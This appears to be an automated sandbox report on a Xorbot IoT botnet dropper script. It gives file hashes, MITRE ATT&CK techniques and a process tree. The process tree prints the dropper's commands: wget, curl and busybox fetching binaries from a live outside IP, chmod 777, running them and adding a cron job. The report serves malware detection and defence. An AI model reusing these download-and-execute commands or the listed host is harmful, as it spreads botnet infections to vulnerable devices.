xorbot | b469f15b998e545a6b231632b65df6917f1078b4b7ec50923f77f1b6e1853bbb

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
05/01/2025, 00:41

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General

Target

bins.sh
Size

10KB
MD5

1bd5b644e3bb808ff83c31f13c074f8b
SHA1

9a6de7913518402e115726bc43dc8a0a503d07e1
SHA256

b469f15b998e545a6b231632b65df6917f1078b4b7ec50923f77f1b6e1853bbb
SHA512

d6b5b2d4ddd402da0a608ab982887cb1d8542fd1ba6c11b0930acd1bdc07f3d0ec292e535603f3ee66b849bbb2a06393faebcec78ced022841f3fb9530ff4b25
SSDEEP

192:gR9zqKBlQMuRhoxHicMs5lkkTZcMs5lRR9zqKBUQMuRhD:E3QMuRhoxHicMs5lkkTZcMs5ljaQMuRt

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1853) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
697	chmod
741	chmod
761	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv	699	gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv
/tmp/rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81	742	rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81
/tmp/wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD	762	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD

Renames itself 1 IoCs

pid	Process
764	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.1gpz5d	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/818/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/852/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/993/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/1004/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/1/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/785/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/841/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/930/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/701/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/840/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/819/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/825/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/835/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/836/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/864/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/918/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/106/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/788/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/792/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/982/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/806/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/906/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/941/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/968/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/6/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/989/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/994/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/1001/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/927/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/967/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/290/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/981/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/803/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/814/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/887/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/920/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/960/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/1002/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/114/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/239/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/830/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/843/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/883/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/1018/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/611/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/817/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/43/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/648/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/784/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/824/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/915/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/919/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/19/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/934/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/810/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/848/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/326/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/805/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/14/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/897/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/875/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
File opened for reading	/proc/894/cmdline	wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv	busybox
File opened for modification	/tmp/gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv	curl
File opened for modification	/tmp/rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81	wget
File opened for modification	/tmp/rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81	curl
File opened for modification	/tmp/rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81	busybox
File opened for modification	/tmp/wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD	wget
File opened for modification	/tmp/wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD	curl
File opened for modification	/tmp/wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD	busybox
File opened for modification	/tmp/gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:656
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:658
- /usr/bin/wget
  wget http://66.63.187.225/bins/gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv
  2⤵
  - Writes file to tmp directory
  PID:663
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:687
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv
  2⤵
  - Writes file to tmp directory
  PID:692
- /bin/chmod
  chmod 777 gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv
  2⤵
  - File and Directory Permissions Modification
  PID:697
- /tmp/gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv
  ./gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv
  2⤵
  - Executes dropped EXE
  PID:699
- /bin/rm
  rm gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv
  2⤵
  PID:702
- /usr/bin/wget
  wget http://66.63.187.225/bins/rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81
  2⤵
  - Writes file to tmp directory
  PID:704
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:715
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81
  2⤵
  - Writes file to tmp directory
  PID:734
- /bin/chmod
  chmod 777 rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81
  ./rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81
  2⤵
  - Executes dropped EXE
  PID:742
- /bin/rm
  rm rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81
  2⤵
  PID:744
- /usr/bin/wget
  wget http://66.63.187.225/bins/wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
  2⤵
  - Writes file to tmp directory
  PID:745
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:747
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
  2⤵
  - Writes file to tmp directory
  PID:754
- /bin/chmod
  chmod 777 wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
  2⤵
  - File and Directory Permissions Modification
  PID:761
- /tmp/wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
  ./wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:762
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:765
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:766
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:768
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:769
- /bin/rm
  rm wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD
  2⤵
  PID:785
- /usr/bin/wget
  wget http://66.63.187.225/bins/FtlgFLvQMExaPupMukmGBbUabZl9eBRV0b
  2⤵
  PID:789

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/gxYahrwouU68RNC6rDrjlsOftFWiDbRpSv

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/rsCtoVwt36jufPvFKJ3XK8DBDVEgo5jn81

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/wI9OOuN4hurZvx84qq2rIcnvR3AuEC9fiD

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/var/spool/cron/crontabs/tmp.1gpz5d

Filesize
210B

MD5
d243c19a39f09c88ae50254e3fcdcdba

SHA1
5bd739f4640c69c20b6c1cc76a65a1e3de286b97

SHA256
dca913cdb6dc047369d962faa89324e1a80b161e267d103cdba3cdf3bd038763

SHA512
d5453a77b015b6effdc948e227bf892fe4a64335fbe991da5903bc8d977f3149b199cb2538bee3cffb4c751d59bdbbfbfe859e72275e2d481c754dfeccc56c4c

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads